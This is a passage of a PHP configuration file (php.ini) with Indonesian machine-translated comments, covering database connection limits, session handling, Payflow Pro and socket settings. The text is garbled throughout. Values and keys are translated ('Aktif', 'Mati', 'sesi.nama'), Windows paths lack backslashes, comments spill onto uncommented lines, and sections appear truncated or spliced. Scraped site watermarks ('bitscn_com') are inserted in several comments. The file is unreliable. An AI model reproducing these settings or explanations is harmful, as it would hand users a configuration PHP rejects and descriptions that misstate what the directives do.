msql.allow_persistent = Aktif ; Mengizinkan atau menonaktifkan koneksi persisten
msql.max_persistent = -1; Jumlah maksimum koneksi persisten
msql.max_links = -1 ; Jumlah koneksi maksimum (persisten dan non-persisten). -1 berarti tidak terbatas
[PostgresSQL]
pgsql.allow_persistent = Aktif ; Mengizinkan atau menonaktifkan koneksi persisten
pgsql.max_persistent = -1; Jumlah maksimum koneksi persisten
;
Jumlah koneksi maksimum (persisten dan non-persisten).
sybase.allow_persistent = Aktif; Mengizinkan atau menonaktifkan koneksi persisten
sybase.max_persistent = -1; Jumlah maksimum koneksi persisten
sybase.max_links = -1; Jumlah koneksi maksimum (persisten dan non-persisten).
;sybase.interface_file = "/usr/sybase/interface"
sybase.min_error_severity = 10 ; Tingkat keparahan kesalahan minimum yang ditampilkan
sybase.min_message_severity = 10 ; Tingkat keparahan minimum pesan yang ditampilkan
sybase.compatability_mode = Off ; Mode kompatibilitas dengan versi PHP 3.0 yang lebih lama. Jika diaktifkan, ini akan menyebabkan PHP otomatis
; Tetapkan mereka tipe Sybase sesuai dengan hasilnya,
; Daripada memperlakukan semuanya sebagai string.
;
; Oleh karena itu, lakukan perubahan yang diperlukan pada kode Anda,
; dan tutup item tersebut
.
sybct.allow_persistent = Aktif ; Mengizinkan atau menonaktifkan koneksi persisten
sybct.max_persistent = -1; Jumlah maksimum koneksi persisten
sybct.max_links = -1 ; Jumlah koneksi maksimum (persisten dan non-persisten).
sybct.min_server_severity = 10 ; Tingkat keparahan kesalahan minimum yang ditampilkan
sybct.min_client_severity = 10 ; Tingkat keparahan minimum pesan yang ditampilkan
[bcmath]
bcmath.scale = 0 ; jumlah digit desimal untuk semua fungsi bcmath
[browscap]
;browscap = ekstra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[Informasi]
ifx.default_host = ; Host yang digunakan oleh ifx_connect() secara default (tidak valid dalam mode aman)
ifx.default_user = ; Nama pengguna default yang digunakan oleh ifx_connect() (tidak valid dalam mode aman)
ifx.default_password = ; kata sandi default yang digunakan oleh ifx_connect() (tidak valid dalam mode aman)
ifx.allow_persistent = Aktif ; Mengizinkan atau menonaktifkan koneksi persisten
ifx.max_persistent = -1 ; Jumlah maksimum koneksi persisten
ifx.max_links = -1 ; Jumlah koneksi maksimum (persisten dan non-persisten).
ifx.textasvarchar = 0 ; Jika diaktifkan, simbol status pilih mengembalikan konten bidang 'gumpalan teks' dan bukan idnya
ifx.byteasvarchar = 0 ; Jika diaktifkan, simbol status pilih mengembalikan konten bidang 'byte blob' dan bukan idnya
ifx.charasvarchar = 0 ; Spasi putih trek dihilangkan dari string karakter dengan panjang tetap.
; Mungkin berlaku untuk pengguna Informix SE.
ifx.blobinfile = 0 ; Jika diaktifkan, konten blob teks dan byte diekspor ke file
; alih-alih menyimpan ke memori.
ifx.nullformat = 0 ; NULL dikembalikan sebagai bidang nol kecuali, di sini, disetel ke 1.
ini
(1), NULL dikembalikan sebagai string NULL.
session.save_handler = file; Metode kontrol untuk menyimpan/mengambil data
session.save_path = C:wintemp; Parameter diteruskan ke pengontrol ketika save_handler diatur ke file,
; Ini adalah jalur dimana file data akan disimpan.
session.use_cookies = 1; Apakah akan menggunakan cookie
sesi.nama = PHPSESSID
; Nama sesi yang akan digunakan dalam cookie
session.auto_start = 0 ; Inisialisasi sesi ketika permintaan dimulai
session.cookie_lifetime = 0; adalah waktu penyimpanan cookie dalam hitungan detik,
; atau 0, hingga browser dimulai ulang
session.cookie_path = / ; Jalur cookie yang valid
session.cookie_domain = ; Domain cookie yang valid
session.serialize_handler = php; Kontroler yang digunakan untuk menghubungkan data
; php adalah pengontrol standar untuk PHP.
session.gc_probability = 1 ; proses 'pengumpulan sampah' berdasarkan persentase
; Kemungkinan untuk memulai setiap kali sesi diinisialisasi. Manajer jaringan bitscn_com
session.gc_maxlifetime = 1440 ; Setelah jumlah detik yang ditunjukkan oleh angka ini, data yang disimpan akan dipertimbangkan
; 'Fragmen (sampah)' dan dibersihkan dengan proses gc.
session.referer_check = ; Periksa perujuk HTTP untuk membatalkan id tambahan yang disertakan dalam URL
session.entropy_length = 0 ; Berapa byte yang harus dibaca dari file
session.entropy_file = ; Tentukan di sini untuk membuat id sesi
; sesi.entropy_length = 16
; sesi.entropy_file = /dev/urandom
session.cache_limiter = nocache; Setel ke {nocache, private, public} untuk menentukan HTTP
;
session.cache_expire = 180 ; Dokumen kedaluwarsa setelah n menit
session.use_trans_sid = 1 ; Gunakan dukungan SID transisi, jika diaktifkan pada waktu kompilasi
; --aktifkan-trans-sid
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;ekstensi=php_mssql.dll
mssql.allow_persistent = Aktif ; Mengizinkan atau menonaktifkan koneksi persisten
mssql.max_persistent = -1; Jumlah maksimum koneksi persisten
mssql.max_links = -1; Jumlah maksimum koneksi (persisten dan non-persisten).
mssql.min_error_severity = 10 ; Tingkat keparahan kesalahan minimum yang ditampilkan
mssql.min_message_severity = 10 ; Tingkat keparahan minimum pesan yang ditampilkan
mssql.compatability_mode = Mati ; Mode kompatibel dengan versi PHP 3.0 yang lebih lama
[Pernyataan]
; ? ? ? ?
;assert.active = Aktif ; menegaskan(expr); aktif secara default
;assert.warning = Aktif ; mengeluarkan peringatan PHP untuk setiap pernyataan yang gagal.
;assert.bail = Off ; jangan melakukan bailout secara default.
;assert.callback = 0 ; fungsi pengguna akan dipanggil jika pernyataan gagal.
;
evaluasi ekspresi dengan error_reporting() saat ini disetel ke true jika Anda ingin error_reporting(0) di sekitar eval().
ii.allow_persistent = Aktif ; Mengizinkan atau menonaktifkan koneksi persisten
ii.max_persistent = -1; Jumlah maksimum koneksi persisten
ii.max_links = -1 ; Jumlah koneksi maksimum (persisten dan non-persisten).
ii.default_database = ; basis data bawaan (format: [node_id::]namadb[/srv_class]
ii.default_user = ;Pengguna bawaan
ii.default_password = ; Kata sandi default Unduh manajemen jaringan dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; Server Signio bawaan
pfpro.defaultport = 443; Port default untuk koneksi
pfpro.defaulttimeout = 30 ; Batas waktu default dalam hitungan detik
; pfpro.proxyaddress = ; Alamat IP proxy default (jika diperlukan)
; pfpro.proxyport = ;
; pfpro.proxylogon = ; Login proksi default (nama pengguna masuk)
; pfpro.proxypassword = ; Kata sandi proksi default
[Soket]
sockets.use_system_read = Aktif; Gunakan fungsi read() sistem alih-alih paket php_read()
; Variabel Lokal: (variabel lokal)
;
; Akhir: